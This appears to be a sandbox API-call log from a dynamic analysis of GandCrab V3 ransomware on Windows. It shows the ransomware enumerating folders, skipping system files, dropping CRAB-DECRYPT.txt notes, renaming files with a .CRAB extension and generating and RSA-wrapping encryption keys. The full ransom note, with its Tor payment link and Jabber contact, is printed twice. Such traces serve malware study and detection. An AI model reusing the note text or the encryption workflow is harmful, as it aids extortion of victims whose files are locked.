	[0109.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.898] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.898] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.898] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.898] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.898] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.898] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.898] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\\\CRAB-DECRYPT.txt") returned 114
	[0109.899] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0109.900] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.900] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0109.901] CloseHandle (hObject=0x3e0) returned 1
	[0109.901] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.902] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned 97
	[0109.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*"
	[0109.902] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xd808e0
	[0109.902] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.902] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0109.902] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.902] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.902] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0109.902] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.902] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.903] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\CRAB-DECRYPT.txt"
	[0109.903] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.903] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\CRAB-DECRYPT.txt") returned 113
	[0109.903] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\CRAB-DECRYPT.txt") returned 113
	[0109.903] lstrlenW (lpString=".txt") returned 4
	[0109.903] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.903] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.904] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\CRAB-DECRYPT.txt") returned 113
	[0109.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\CRAB-DECRYPT.txt") returned 113
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.904] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.904] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.904] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0109.905] lstrcmpW (lpString1="sys", lpString2=".") returned 1
	[0109.905] lstrcmpW (lpString1="sys", lpString2="..") returned 1
	[0109.905] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys"
	[0109.905] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\"
	[0109.905] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.905] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.905] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.905] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.905] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.905] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.906] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.906] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.906] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.906] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.906] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.906] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.906] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.906] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\\\CRAB-DECRYPT.txt") returned 118
	[0109.906] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0109.908] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.908] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0109.909] CloseHandle (hObject=0x3d8) returned 1
	[0109.910] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.910] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned 101
	[0109.910] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*"
	[0109.910] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0xd80920
	[0109.911] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.911] FindNextFileW (in: hFindFile=0xd80920, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0109.911] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.911] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.911] FindNextFileW (in: hFindFile=0xd80920, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0109.911] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.911] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.911] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CRAB-DECRYPT.txt"
	[0109.911] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.911] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CRAB-DECRYPT.txt") returned 117
	[0109.912] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CRAB-DECRYPT.txt") returned 117
	[0109.912] lstrlenW (lpString=".txt") returned 4
	[0109.912] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.912] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.912] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.912] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CRAB-DECRYPT.txt") returned 117
	[0109.912] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\CRAB-DECRYPT.txt") returned 117
	[0109.912] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.912] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.912] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.912] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.912] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.912] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.913] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.913] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.913] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.913] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.913] FindNextFileW (in: hFindFile=0xd80920, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0109.913] lstrcmpW (lpString1="settings.sol", lpString2=".") returned 1
	[0109.913] lstrcmpW (lpString1="settings.sol", lpString2="..") returned 1
	[0109.913] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"
	[0109.913] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.913] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113
	[0109.913] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113
	[0109.914] lstrlenW (lpString=".sol") returned 4
	[0109.914] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.914] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sol ") returned 5
	[0109.914] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.935] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113
	[0109.935] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="desktop.ini") returned 1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="autorun.inf") returned 1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="ntuser.dat") returned 1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="iconcache.db") returned 1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="bootsect.bak") returned 1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="boot.ini") returned 1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="ntuser.dat.log") returned 1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="thumbs.db") returned -1
	[0109.935] lstrcmpiW (lpString1="settings.sol", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.935] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.936] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB") returned 118
	[0109.936] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol")) returned 0x20
	[0109.936] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", dwFileAttributes=0x20) returned 1
	[0109.937] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.crab")) returned 1
	[0109.938] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.939] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB"
	[0109.939] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB.CRAB"
	[0109.939] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e408) returned 1
	[0109.940] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.941] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.941] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314897c | out: pbBuffer=0x314897c) returned 1
	[0109.941] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.941] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.941] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e9e0) returned 1
	[0109.942] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.943] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.943] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.943] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3148958 | out: pbBuffer=0x3148958) returned 1
	[0109.943] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.943] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.943] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.944] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.944] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6ed98) returned 1
	[0109.945] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0xd80960) returned 1
	[0109.945] CryptGetKeyParam (in: hKey=0xd80960, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0109.945] CryptEncrypt (in: hKey=0xd80960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314898c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314898c*=0x100) returned 1
	[0109.945] GetLastError () returned 0x0
	[0109.945] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.945] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e408) returned 1
